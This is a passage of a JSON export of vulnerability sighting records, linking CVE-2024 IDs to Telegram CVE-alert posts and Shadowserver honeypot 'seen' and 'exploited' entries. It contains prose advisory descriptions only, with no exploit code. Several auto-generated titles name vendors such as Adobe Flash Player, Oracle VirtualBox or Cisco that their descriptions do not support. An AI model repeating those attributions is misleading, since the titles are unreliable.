to 3.1.25 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the PRO version of the plugin is activated, along with Elementor Pro and  Elementor CRM.\n\ud83d\udccf Published: 2025-05-02T03:21:19.928Z\n\ud83d\udccf Modified: 2025-05-02T03:21:19.928Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/86e990ae-6bfe-4f2b-8c37-b0675430a638?source=cve\n2. https://plugins.trac.wordpress.org/browser/full-customer/tags/3.1.26/app/controller/elementor-crm/Hooks.php#L181\n3. https://plugins.trac.wordpress.org/browser/full-customer/tags/3.1.25/app/controller/elementor-crm/Hooks.php#L181", "creation_timestamp": "2025-05-02T04:15:43.000000Z"}, {"uuid": "e1819773-3f05-4d11-9738-c9c25fd0e9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-15)", "content": "", "creation_timestamp": "2026-04-15T00:00:00.000000Z"}, {"uuid": "80b1fa91-181b-4ed9-ae99-51c7ddc54eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-15)", "content": "", "creation_timestamp": "2026-04-15T00:00:00.000000Z"}, {"uuid": "a03731ae-a816-4ea1-a174-67b3b17a017e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://t.me/cvedetector/19974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12604 - Tapandsign Technologies Tap&Sign App Cleartext Storage Vulnerability and Weak Password Recovery\", \n  \"Content\": \"CVE ID : CVE-2024-12604 \nPublished : March 10, 2025, 3:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : Cleartext Storage of Sensitive Information in an Environment Variable, Weak Password Recovery Mechanism for Forgotten Password vulnerability in Tapandsign Technologies Tap&Sign App allows Password Recovery Exploitation, Functionality Misuse.This issue affects Tap&Sign App: before V.1.025. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-10T19:02:44.000000Z"}, {"uuid": "275e84d1-ee58-43d7-a71d-56c352b4eb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://t.me/cvedetector/19820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12876 - Golo City Travel Guide WordPress Theme Password Reset Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12876 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The Golo - City Travel Guide WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.10. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:26:39.000000Z"}, {"uuid": "97afbe47-181a-48e3-99c5-751576d69df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "https://t.me/cvedetector/19819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12610 - \"WordPress School Management System Unauthenticated Post Deletion Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12610 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The School Management System for Wordpress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'mj_smgt_remove_feetype' and 'mj_smgt_remove_category_new' AJAX actions in all versions up to, and including, 93.0.0. This makes it possible for unauthenticated attackers to delete arbitrary posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:25:59.000000Z"}, {"uuid": "535437d8-c1bd-4096-b49f-3d0d4689bdfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12611", "type": "seen", "source": "https://t.me/cvedetector/19818", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12611 - WordPress School Management System Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12611 \nPublished : March 7, 2025, 9:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The School Management System for Wordpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 93.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T12:25:58.000000Z"}, {"uuid": "e456bee1-3e89-47ee-9569-2e114b1f1f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-16)", "content": "", "creation_timestamp": "2026-04-16T00:00:00.000000Z"}, {"uuid": "29e4d240-eba0-4001-8417-e20856d57920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-16)", "content": "", "creation_timestamp": "2026-04-16T00:00:00.000000Z"}, {"uuid": "ca7283f4-28d2-4161-be2a-941cd6f43264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "https://t.me/cvedetector/19799", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12809 - WordPress Wishlist Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12809 \nPublished : March 7, 2025, 7:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wishlist_button' shortcode in all versions up to, and including, 1.0.43 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:24.000000Z"}, {"uuid": "7fbe5d82-4957-4be4-abac-b34a2be5745d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "https://t.me/cvedetector/19793", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12837 - Oracle VirtualBox GPU Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12837 \nPublished : March 7, 2025, 8:15 a.m. | 46\u00a0minutes ago \nDescription : Software installed and run as a non-privileged user may conduct improper GPU system calls to corrupt kernel heap memory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:13.000000Z"}, {"uuid": "42a4866f-c798-420e-b68f-5f9341b7ff65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-17)", "content": "", "creation_timestamp": "2026-04-17T00:00:00.000000Z"}, {"uuid": "8aef5227-c721-43ab-96f6-b78402dd6af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-17)", "content": "", "creation_timestamp": "2026-04-17T00:00:00.000000Z"}, {"uuid": "c6e31b41-14a7-4118-aaab-af5f719c7c34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "content": "", "creation_timestamp": "2026-04-18T00:00:00.000000Z"}, {"uuid": "0ee9e297-c994-4bdd-a900-803b5a5d38ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-18)", "content": "", "creation_timestamp": "2026-04-18T00:00:00.000000Z"}, {"uuid": "72faae25-65d9-4494-8768-71e60d15e075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-19)", "content": "", "creation_timestamp": "2026-04-19T00:00:00.000000Z"}, {"uuid": "a4d3d05e-e92c-4f8f-8307-a6df165a5a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-19)", "content": "", "creation_timestamp": "2026-04-19T00:00:00.000000Z"}, {"uuid": "6656d546-e4df-4271-b8f4-384cdda03ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12282", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17064", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12282\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WordPress\u8fde\u63a5\u5fae\u535a WordPress plugin through 2.5.6 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.\n\ud83d\udccf Published: 2025-05-15T20:06:52.549Z\n\ud83d\udccf Modified: 2025-05-20T19:33:10.397Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/2d81f038-e2bb-4906-a954-78dc971ed793/", "creation_timestamp": "2025-05-20T19:43:03.000000Z"}, {"uuid": "03d668c6-379b-49c9-940e-fd382af1147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19697", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12136\n\ud83d\udd25 CVSS Score: 6.9 (cvssV3_1, Vector: CVSS:3.1/AV:P/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: before V.01.01.\n\ud83d\udccf Published: 2025-03-19T08:35:14.671Z\n\ud83d\udccf Modified: 2025-06-27T11:31:03.913Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-06-27T11:50:13.000000Z"}, {"uuid": "778bd270-044b-4fb5-8e21-59cff9bf3031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "00968e93-140f-4518-a44e-c14a3d389e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "https://t.me/cvedetector/19887", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12114 - FooGallery WordPress Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12114 \nPublished : March 8, 2025, 6:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.29 via the foogallery_attachment_modal_save AJAX action due to missing validation on a user controlled key (img_id). This makes it possible for authenticated attackers, with granted access and above, to update arbitrary post and page content. This requires the Gallery Creator Role setting to be a value lower than 'Editor' for there to be any real impact. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T09:20:13.000000Z"}, {"uuid": "63d687c7-e9cd-49c5-921c-5b68b4d378bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "80d8e216-4858-43af-9d31-138576504179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-21)", "content": "", "creation_timestamp": "2026-04-21T00:00:00.000000Z"}, {"uuid": "96741f9f-d68b-4b58-939a-858067ac1f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-21)", "content": "", "creation_timestamp": "2026-04-21T00:00:00.000000Z"}, {"uuid": "42120143-7232-4adb-b9aa-7bdc3f7cdc8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "https://t.me/cvedetector/19883", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12119 - FooGallery WordPress Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12119 \nPublished : March 8, 2025, 6:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the default_gallery_title_size parameter in all versions up to, and including, 2.4.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with granted gallery and album creator roles, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T09:20:06.000000Z"}, {"uuid": "d0a73a0c-9a79-49b3-9727-96e6426a403a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://t.me/cvedetector/19826", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12634 - WordPress PickPlugins Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12634 \nPublished : March 7, 2025, 11:15 a.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : The Related Posts, Inline Related Posts, Contextual Related Posts, Related Content By PickPlugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including 2.0.59. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T14:57:03.000000Z"}, {"uuid": "45079b17-4755-45da-8106-2ec0bbd8101b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "03954b5c-aa35-44c2-bbfe-d54296ac9e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "https://t.me/cvedetector/19880", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12460 - WordPress Timeless Texts Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12460 \nPublished : March 8, 2025, 3:15 a.m. | 2\u00a0hours, 19\u00a0minutes ago \nDescription : The Years Since \u2013 Timeless Texts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'years-since' shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T06:49:40.000000Z"}, {"uuid": "daa45084-18f8-4c3c-b592-a6683ea760a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/7dZORug9wlYgQr8SgDaF1frGuxN2bNwOCI7flDB74Lc3L0yt", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "07432eef-6d89-46b4-80ec-91af945a4a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "49e2efe1-b842-4ab9-b79f-8197e75a6e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-23)", "content": "", "creation_timestamp": "2026-04-23T00:00:00.000000Z"}, {"uuid": "3cb0a39b-d95b-43e3-9d97-495338f06e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12975", "type": "seen", "source": "https://t.me/cvedetector/19854", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12975 - Cisco CPC Buffer Overread Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12975 \nPublished : March 7, 2025, 5:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : A buffer overread can occur in the CPC application when operating in full duplex SPI upon receiving an invalid packet over the SPI interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T20:48:12.000000Z"}, {"uuid": "6d3191d9-2a94-43ef-b18f-a71e42ae113e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-23)", "content": "", "creation_timestamp": "2026-04-23T00:00:00.000000Z"}, {"uuid": "097e9883-1934-4093-b621-b59cb091a406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "https://t.me/cvedetector/19795", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12576 - Adobe Flash Player GPU Crash\", \n  \"Content\": \"CVE ID : CVE-2024-12576 \nPublished : March 7, 2025, 8:15 a.m. | 46\u00a0minutes ago \nDescription : Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger a crash of the FW running on the GPU freezing graphics output. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:18.000000Z"}, {"uuid": "ff86f23f-d62b-437b-9377-893d21fcd7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://t.me/cvedetector/18733", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12577 - VMware GPU Firmware Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12577 \nPublished : Feb. 22, 2025, 3:15 p.m. | 2\u00a0hours, 16\u00a0minutes ago \nDescription : Kernel software installed and running inside a Guest VM may exploit memory shared with the GPU Firmware to write data outside the Guest's virtualised GPU memory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T19:10:23.000000Z"}, {"uuid": "1f5a2eca-565d-4616-8619-a1daaab7abb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "Telegram/-XLKPYXdw1fvW30pxC6BHb4dPK0s6V-6GPKxTyRmB0tBbPAi", "content": "", "creation_timestamp": "2025-02-21T22:10:24.000000Z"}, {"uuid": "7a4d1add-a968-4d30-b0fd-77c4bf9ed2d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "https://t.me/cvedetector/18782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12308 - Logo Slider WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12308 \nPublished : Feb. 24, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Logo Slider  WordPress plugin before 4.6.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T07:55:31.000000Z"}, {"uuid": "5a9c8662-71aa-4a89-91be-7bc59ef78a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12467", "type": "seen", "source": "https://t.me/cvedetector/18709", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12467 - Redsys Pago WordPress Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12467 \nPublished : Feb. 22, 2025, 5:15 a.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The Pago por Redsys plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Ds_MerchantParameters' parameter in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T08:18:43.000000Z"}, {"uuid": "29430855-3e7d-4093-a7e4-690363ba0454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12038", "type": "seen", "source": "https://t.me/cvedetector/18707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12038 - WordPress BuddyForms Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12038 \nPublished : Feb. 22, 2025, 5:15 a.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'buddyforms_nav' shortcode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T08:18:42.000000Z"}, {"uuid": "2c4bf079-213d-493c-8dd8-24deed5929c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/207", "content": 